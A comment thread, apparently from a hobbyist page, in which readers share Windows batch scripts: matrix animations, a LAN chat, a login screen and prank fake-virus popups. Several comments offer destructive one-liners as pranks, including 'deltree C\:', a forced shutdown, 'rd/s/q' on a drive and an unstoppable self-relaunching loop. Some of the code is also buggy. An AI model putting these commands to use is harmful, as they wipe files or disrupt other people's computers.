echo YOU ARE CORRECT %name%!

echo.

echo continue? (y/n)

set/p ha=

if %ha% == y goto 1v17

if %ha% == n goto 1v16

:wr1

echo YOU HAVE FAILED!!!

echo.

pause

:1v17

cls

color 0a

echo do you want cake?

echo A.YES

echo B.YES

echo c.YES

set /p !=

if %!% == a goto cr1

if %!% == b goto cr1

if %!% == c goto cr1

goto 1v17

:cr1

echo WELL YOU DONT GET ANY RETARD!!!!!!!!!!!!!!!!!!!!

echo.

pause

Trojanation Hcr on January 19, 2013:

guys here are two deadly virus's

1)@echo off

shutdown -s -t '00'

2)@echo off

deltree C\:

(thy at ur own risk)..save the files as .bat

davito14 on January 05, 2013:

lol this is cool

rockstar on January 03, 2013:

@echo off

:A

color 4

title nicholas ludwig presents awesome matrix lol

echo --------------------------------------

echo hello welcome to nicholas_ludwig matrix file

echo --------------------------------------

cls

echo 0 1 0 1 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 0 1 0 1 0

echo 0 1 0 1 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 0 1 0 1 0

echo 0 1 0 1 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 1 1 0

echo 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0

echo 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 0 1 0

echo 0 1 0 0 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 0 1 0 1 0

echo 0 1 0 1 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 0 1 0 1 0

echo 0 1 0 1 0 1 0 1 0 1 0 1

color 0c

echo 0 1 0 1 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 0 1 0 1 0

echo 0 1 0 1 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 0 1 0 1 0

echo 0 1 0 1 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 1 1 0

echo 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0

echo 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 0 1 0

echo 0 1 0 0 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 0 1 0 1 0

echo 0 1 0 1 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 0 1 0 1 0

echo 0 1 0 1 0 1 0 1 0 1 0 1

color 9

echo 0 1 0 1 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 0 1 0 1 0

echo 0 1 0 1 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 0 1 0 1 0

echo 0 1 0 1 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 1 1 0

echo 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0

echo 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 0 1 0

echo 0 1 0 0 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 0 1 0 1 0

echo 0 1 0 1 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 0 1 0 1 0

echo 0 1 0 1 0 1 0 1 0 1 0 1

color 0a

echo 0 1 0 1 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 0 1 0 1 0

echo 0 1 0 1 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 0 1 0 1 0

echo 0 1 0 1 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 1 1 0

echo 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0

echo 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 0 1 0

echo 0 1 0 0 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 0 1 0 1 0

echo 0 1 0 1 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 0 1 0 1 0

echo 0 1 0 1 0 1 0 1 0 1 0 1

color 0e

echo 0 1 0 1 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 0 1 0 1 0

echo 0 1 0 1 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 0 1 0 1 0

echo 0 1 0 1 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 1 1 0

echo 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0

echo 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 0 1 0

echo 0 1 0 0 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 0 1 0 1 0

echo 0 1 0 1 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 0 1 0 1 0

echo 0 1 0 1 0 1 0 1 0 1 0 1

color 0d

echo 0 1 0 1 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 0 1 0 1 0

echo 0 1 0 1 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 0 1 0 1 0

echo 0 1 0 1 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 1 1 0

echo 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0

echo 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 0 1 0

echo 0 1 0 0 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 0 1 0 1 0

echo 0 1 0 1 0 1 0 1 0 1 0 1

echo 1 0 1 0 1 0 1 0 1 0 1 0

echo 0 1 0 1 0 1 0 1 0 1 0 1

goto :A

pause

751720 on December 20, 2012:

Put this in a network drive and you've got a lan chatroom.

This is ClickMe.bat

@echo off

echo Please type a username

set /p name=

echo %username% has logged in as %name%(Two greater than signes)Report.txt

start reader.bat

:chatloop

cls

set /p say=Say:

echo %say%(Two Greater Than Signes)log.dat

goto chatloop

That is the end of that, this one is reader.bat

@echo off

:loop

cls

type log.dat

ping -n 2 127.0.0.1(Greater Than sign)nul

goto loop

Create those two files, and put them in their own folder on a networked drive. Then have a nice long chat to anyone about anything.

josh on December 11, 2012:

try this:

@echo off

:An

echo Here is the current time %date% %time%

goto:A

Nate Mapes on December 03, 2012:

Save as awesome.bat or something else but has to be .bat

Nate Mapes on December 03, 2012:

@echo off

:A

color 04

title Flashing Matrix

echo --------------------------------------

echo THIS IS SPARTA!!!!!!!

echo --------------------------------------

cls

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

color 0a

echo --------------------------------------

echo THIS IS SPARTA!!!!!!!

echo --------------------------------------

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

color 0c

echo --------------------------------------

echo THIS IS SPARTA!!!!!!!

echo --------------------------------------

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

color 04

echo --------------------------------------

echo THIS IS SPARTA!!!!!!!

echo --------------------------------------

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

echo %random%%r

redet gaw on November 30, 2012:

@echo off

set var1=Hello

set var2=World

echo %var1% %var2%!

set var1=

set var2=

rajkumar irumugai on August 04, 2012:

thank you and nice

Greg on July 12, 2012:

How do you shut off Code #3

@echo off

:A

msg * insert message here

goto:A

Was testing on my computer and am not in a state where I can restart the syste!

Sumit on July 10, 2012:

Fantastic

all codes works

lol :-)

Sumit on July 10, 2012:

Fantastic

all codes works

lol :-)

henk on June 19, 2012:

i have a question, when I open cmd in my school's acc, whatever button i press, its go down, what to do?

cade on June 17, 2012:

here is an awesome disco code!

@echo off

title my code not yours!!!

:S

echo #

echo # #

echo # #

echo # #

echo # DISCO! #

echo # #

echo # #

echo # #

echo # #

echo #

color 12

color 23

color 45

color 67

color 89

color 91

color 37

color 42

color 43

color 51

color 15

color 42

color 2

color 3

color 34

goto s

Unkown on June 17, 2012:

echo off

:H

echo Hello

goto H

me on June 11, 2012:

AWESOME. I spam

hello world. on June 07, 2012:

how to make a FAKE virus...

very important save this as .vbs not .bat

=========================================================

X=MsgBox("Error while opening. Do you want to fix this problem",4+48,"My Computer")

X=MsgBox("This problem can not be fixed",0+48,"My Computer")

X=MsgBox("Virus Detected on Your Computer ! Do you want to scan your PC ?",3+16,"Virus Alert")

X=MsgBox("Access Denied ! Virus is Activated !",2+16,"Virus Alert")

=========================================================

VERY IMPORTANT save this as .vbs not .bat

dude on June 02, 2012:

cool.

†H3CK3R† on May 17, 2012:

These codes are too basic. I want higher level.

Cody Shepherd on May 10, 2012:

-echo off

-start

-start

-fun

-exit

save as fun.bat :)

son on May 08, 2012:

code loading in batch. thanks

cool on April 30, 2012:

@echo off

:home

title Log in to CMD

color 07

cls

echo.

echo Cmd Accounts

echo =============

echo.

echo [1] Log In

echo [2] Sign Up

echo [3] Exit

echo.

set /p op=

if %op%==1 goto 1

if %op%==2 goto 2

if %op%==3 goto 3

goto error

:2

cls

echo Sign Up

echo ======================================

echo.

set /p newname="Enter new username:"

if "%newname%"=="%newname%" goto inputname

:inputname

cd "%userprofile%\documents"

if exist "cmdacoBin" goto skip

if not exist "cmdacoBin" goto noskip

:noskip

md "cmdacoBin"

goto skip

:skip

cd "%userprofile%\documents\cmdacoBin"

if exist "%newname%.bat" goto namexist

if not exist "%newname%.bat" goto skip2

:skip2

echo set realusername=%newname% "%newname%.bat"

goto next

:next

echo.

set /p pswd=Enter new Password:

if "%pswd%"=="%pswd%" goto inputpass

:inputpass

cd "%userprofile%\documents\cmdacoBin"

echo set password=%pswd% "%newname%.bat"

goto next1

:namexist

echo.

echo The entered username already exists.

echo Press any key to return. . .

pause nul

goto 2

:next1

cls

echo Cmd Accounts

echo ============

echo.

echo Your account has been successfully created!

echo.

pause

goto home

:1

color 07

cls

echo Cmd Accounts Log In

echo ================================

echo.

Set /p logname=Username:

if "%logname%"=="%logname%" goto 2.1

:2.1

echo.

set /p logpass="Password:"

if "%logpass%"=="%logpass%" goto login

:login

cd "%userprofile%\documents\cmdacoBin"

if exist "%logname%.bat" goto call

if not exist "%logname%.bat" goto errorlog

:call

call "%logname%.bat"

if "%password%"=="%logpass%" goto logdone

goto errorlog

:errorlog

color 0c

echo.

echo Username or Password incorrect.

echo Access denied.

pause nul

goto home

:logdone

cls

echo Command Prompt

echo ==============

echo.

echo Successfully logged in!

echo.

pause

goto account

:account

cls

cd "%userprofile%\documents\cmdacoBin"

call "%realusername%color.bat"

call "%realusername%.bat"

color %colorcode%

cls

echo.

echo -------------------------------------------------------------------------------

echo %realusername%

echo -------------------------------------------------------------------------------

@echo off

break off

Title Command Prompt

color 0a

cls

echo Type "home" any time to go to the current user profile directory.

echo Type "desktop" any time to go to the current user desktop.

echo.

echo Type help to see list of common commands like cd, rd, md, del,

echo ren, replace, copy, xcopy, move, attrib, tree, edit, and cls.

echo Type [command]/? for detailed info.

echo.

pause

cls

:cmd

echo Directory: %CD%

set /P CMD=Command:

if "%CMD%" == "cls" goto cls

if "%CMD%" == "home" goto home2

if "%CMD%" == "desktop" goto desktop

if "%CMD%" == "red" goto red

if "%CMD%" == "green" goto green

if "%CMD%" == "normal" goto normal

%CMD%

cd C:\

goto cmd

:cls

cls

goto cmd

:home2

cd /d %USERPROFILE%

cls

goto cmd

:desktop

cd /d %SystemDrive%\Users\%USERNAME%\Desktop

cls

goto cmd

:red

color 0c

cls

goto cmd

:green

color 0a

cls

goto cmd

:normal

color 07

cls

goto cmd

Dillon on April 23, 2012:

Hey I will give you a cool code: It is really long. :

@echo off

:home

title Log in to CMD

color 07

cls

echo.

echo Cmd Accounts

echo =============

echo.

echo [1] Log In

echo [2] Sign Up

echo [3] Exit

echo.

set /p op=

if %op%==1 goto 1

if %op%==2 goto 2

if %op%==3 goto 3

goto error

:2

cls

echo Sign Up

echo ======================================

echo.

set /p newname="Enter new username:"

if "%newname%"=="%newname%" goto inputname

:inputname

cd "%userprofile%\documents"

if exist "cmdacoBin" goto skip

if not exist "cmdacoBin" goto noskip

:noskip

md "cmdacoBin"

goto skip

:skip

cd "%userprofile%\documents\cmdacoBin"

if exist "%newname%.bat" goto namexist

if not exist "%newname%.bat" goto skip2

:skip2

echo set realusername=%newname% "%newname%.bat"

goto next

:next

echo.

set /p pswd=Enter new Password:

if "%pswd%"=="%pswd%" goto inputpass

:inputpass

cd "%userprofile%\documents\cmdacoBin"

echo set password=%pswd% "%newname%.bat"

goto next1

:namexist

echo.

echo The entered username already exists.

echo Press any key to return. . .

pause nul

goto 2

:next1

cls

echo Cmd Accounts

echo ============

echo.

echo Your account has been successfully created!

echo.

pause

goto home

:1

color 07

cls

echo Cmd Accounts Log In

echo ================================

echo.

Set /p logname=Username:

if "%logname%"=="%logname%" goto 2.1

:2.1

echo.

set /p logpass="Password:"

if "%logpass%"=="%logpass%" goto login

:login

cd "%userprofile%\documents\cmdacoBin"

if exist "%logname%.bat" goto call

if not exist "%logname%.bat" goto errorlog

:call

call "%logname%.bat"

if "%password%"=="%logpass%" goto logdone

goto errorlog

:errorlog

color 0c

echo.

echo Username or Password incorrect.

echo Access denied.

pause nul

goto home

:logdone

cls

echo Command Prompt

echo ==============

echo.

echo Successfully logged in!

echo.

pause

goto account

:account

cls

cd "%userprofile%\documents\cmdacoBin"

call "%realusername%color.bat"

call "%realusername%.bat"

color %colorcode%

cls

echo.

echo -------------------------------------------------------------------------------

echo %realusername%

echo -------------------------------------------------------------------------------

@echo off

break off

Title Command Prompt

color 0a

cls

echo Type "home" any time to go to the current user profile directory.

echo Type "desktop" any time to go to the current user desktop.

echo.

echo Type help to see list of common commands like cd, rd, md, del,

echo ren, replace, copy, xcopy, move, attrib, tree, edit, and cls.

echo Type [command]/? for detailed info.

echo.

pause

cls

:cmd

echo Directory: %CD%

set /P CMD=Command:

if "%CMD%" == "cls" goto cls

if "%CMD%" == "home" goto home2

if "%CMD%" == "desktop" goto desktop

if "%CMD%" == "red" goto red

if "%CMD%" == "green" goto green

if "%CMD%" == "normal" goto normal

%CMD%

cd C:\

goto cmd

:cls

cls

goto cmd

:home2

cd /d %USERPROFILE%

cls

goto cmd

:desktop

cd /d %SystemDrive%\Users\%USERNAME%\Desktop

cls

goto cmd

:red

color 0c

cls

goto cmd

:green

color 0a

cls

goto cmd

:normal

color 07

cls

goto cmd

Its a cool logn screen to get to cmd. Have fun thanks!

lolz on April 22, 2012:

Is there any other websites with posts like these? Keep up the good work!

lol JIM on April 16, 2012:

http://hyperboleandahalf.blogspot.com/2010/04/alot...

Deepu panakkad on April 15, 2012:

if we want to quick format a drive example format the drive h:

open notepad type: rd/s/q H:\

rd/s/q H:\

rd/s/q H:\

save it in drive h name as "format.bat"

and double click it. we can see that it will format in one second

Apples292 on April 04, 2012:

I've got the best one for a program that can't be stopped until you log off/restart/shutdown:

@echo off

goto Top

:Top

Start "C:\Location goes here\TheNameOfThisFile.bat"

exit

locky ev on March 24, 2012:

@echo off

:A

color 4

title Locky ev presents orgasmic matrix lol

echo --------------------------------------

echo hello welcome to Locky_999 matrix file

echo --------------------------------------

cls

echo 0 1 0 1 0 1 1 0 0 0 0 1 1 1 1 0 1 0 1 0

echo 0 0 0 1 0 1 1 1 0 1 0 1 1 0 0 0 1 1 1 1

echo 1 1 1 0 0 1 0 1 0 1 1 1 0 0 0 1 1 0 0 0

echo 1 0 0 0 1 1 1 0 1 0 1 0 1 1 1 0 1 0 1 0

echo 0 1 0 1 0 1 0 1 1 1 0 1 0 1 0 0 0 1 0 1

echo 1 0 1 1 1 0 1 0 0 1 0 1 0 1 0 1 1 0 1 0

echo 1 1 1 0 0 1 0 1 0 1 1 1 0 0 0 1 1 0 0 0

echo 0 1 0 1 0 1 1 0 0 0 0 1 1 1 1 0 1 0 1 0

echo 1 0 0 0 1 1 1 0 1 0 1 0 1 1 1 0 1 0 1 0

echo 0 1 1 0 1 1 1 1 0 1 0 0 0 1 1 0 0 0 1 1

echo 1 1 0 0 1 0 1 0 1 0 0 1 1 0 1 0 0 1 1 1

echo 0 0 0 1 1 1 0 0 1 0 1 0 1 1 1 0 0 1 1 0

echo 1 0 1 0 1 1 0 1 1 0 1 1 0 1 0 0 0 1 0 1

echo 1 1 0 1 0 1 0 1 0 1 1 1 0 1 0 1 1 0 1 1

echo 0 0 0 1 0 1 0 1 1 0 1 0 1 0 1 1 0 1 1 0

echo 0 1 0 1 0 1 1 0 0 0 0 1 1 1 1 0 1 0 1 0

echo 0 0 0 1 0 1 1 1 0 1 0 1 1 0 0 0 1 1 1 1

echo 1 1 1 0 0 1 0 1 0 1 1 1 0 0 0 1 1 0 0 0

echo 1 0 0 0 1 1 1 0 1 0 1 0 1 1 1 0 1 0 1 0

echo 0 1 0 1 0 1 0 1 1 1 0 1 0 1 0 0 0 1 0 1

color 07

echo 1 0 1 1 1 0 1 0 0 1 0 1 0 1 0 1 1 0 1 0

echo 1 1 1 0 0 1 0 1 0 1 1 1 0 0 0 1 1 0 0 0

echo 0 1 0 1 0 1 1 0 0 0 0 1 1 1 1 0 1 0 1 0

echo 1 0 0 0 1 1 1 0 1 0 1 0 1 1 1 0 1 0 1 0

echo 0 1 1 0 1 1 1 1 0 1 0 0 0 1 1 0 0 0 1 1

echo 1 1 0 0 1 0 1 0 1 0 0 1 1 0 1 0 0 1 1 1

echo 0 0 0 1 1 1 0 0 1 0 1 0 1 1 1 0 0 1 1 0

echo 1 0 1 0 1 1 0 1 1 0 1 1 0 1 0 0 0 1 0 1

echo 1 1 0 1 0 1 0 1 0 1 1 1 0 1 0 1 1 0 1 1

echo 0 0 0 1 0 1 0 1 1 0 1 0 1 0 1 1 0 1 1 0

echo 1 1 0 0 1 0 1 0 1 0 0 1 1 0 1 0 0 1 1 1

echo 0 0 0 1 1 1 0 0 1 0 1 0 1 1 1 0 0 1 1 0

echo 1 0 1 0 1 1 0 1 1 0 1 1 0 1 0 0 0 1 0 1

echo 1 1 0 1 0 1 0 1 0 1 1 1 0 1 0 1 1 0 1 1

echo 0 0 0 1 0 1 0 1 1 0 1 0 1 0 1 1 0 1 1 0

echo 0 1 0 1 0 1 1 0 0 0 0 1 1 1 1 0 1 0 1 0

echo 0 0 0 1 0 1 1 1 0 1 0 1 1 0 0 0 1 1 1 1

echo 1 1 1 0 0 1 0 1 0 1 1 1 0 0 0 1 1 0 0 0

echo 1 0 0 0 1 1 1 0 1 0 1 0 1 1 1 0 1 0 1 0

echo 0 1 0 1 0 1 0 1 1 1 0 1 0 1 0 0 0 1 0 1

color 9

echo 1 1 0 0 1 0 1 0 1 0 0 1 1 0 1 0 0 1 1 1

echo 0 0 0 1 1 1 0 0 1 0 1 0 1 1 1 0 0 1 1 0

echo 1 0 1 0 1 1 0 1 1 0 1 1 0 1 0 0 0 1 0 1

echo 1 1 0 1 0 1 0 1 0 1 1 1 0 1 0 1 1 0 1 1

echo 0 0 0 1 0 1 0 1 1 0 1 0 1 0 1 1 0 1 1 0

echo 0 1 0 1 0 1 1 0 0 0 0 1 1 1 1 0 1 0 1 0

echo 0 0 0 1 0 1 1 1 0 1 0 1 1 0 0 0 1 1 1 1

echo 1 1 1 0 0 1 0 1 0 1 1 1 0 0 0 1 1 0 0 0

echo 1 0 0 0 1 1 1 0 1 0 1 0 1 1 1 0 1 0 1 0

echo 0 1 0 1 0 1 0 1 1 1 0 1 0 1 0 0 0 1 0 1

echo 1 0 1 1 1 0 1 0 0 1 0 1 0 1 0 1 1 0 1 0

echo 1 1 1 0 0 1 0 1 0 1 1 1 0 0 0 1 1 0 0 0

echo 0 1 0 1 0 1 1 0 0 0 0 1 1 1 1 0 1 0 1 0

echo 1 0 0 0 1 1 1 0 1 0 1 0 1 1 1 0 1 0 1 0

echo 0 1 1 0 1 1 1 1 0 1 0 0 0 1 1 0 0 0 1 1

echo 1 1 0 0 1 0 1 0 1 0 0 1 1 0 1 0 0 1 1 1

echo 0 0 0 1 1 1 0 0 1 0 1 0 1 1 1 0 0 1 1 0

echo 1 0 1 0 1 1 0 1 1 0 1 1 0 1 0 0 0 1 0 1

echo 1 1 0 1 0 1 0 1 0 1 1 1 0 1 0 1 1 0 1 1

echo 0 0 0 1 0 1 0 1 1 0 1 0 1 0 1 1 0 1 1 0

goto :A

pause

thomas the batch man on March 18, 2012:

shutdown -s means shutdown

shutdown -l means log off

aws on February 29, 2012:

awesome!

muffin on January 31, 2012:

@echo stop

sexmuffinbatz:

start cmd

start www.google.com

start notepad

start www.sourmath.com

start www.yahoo.com

start www.facebook.com

goto sexmuffinbatz:

some simple code to jest troll

Death on November 23, 2011:

@echo off

:A

echo * Windows wants to check if your "DRIVE E" is functioning in a proper way.. Please wait for the scan to start

pause

goto:B

:B

echo * Scanning...

echo * Scanning....

echo * Scanning.....

echo * Scanning.......

echo * Scanning.........

pause

goto:C

:C

echo * Scanning Complete! Drive E is functioning in a proper way!

pause

:D

echo * Thanks for using Drive E scanner by Death!

pause

exit

Anon on November 16, 2011:

you can make some of these codes a lot shorter, for example the shutdown command is

Shutdown -s -t 00

and that gives you 00 seconds until shutdown

Related Articles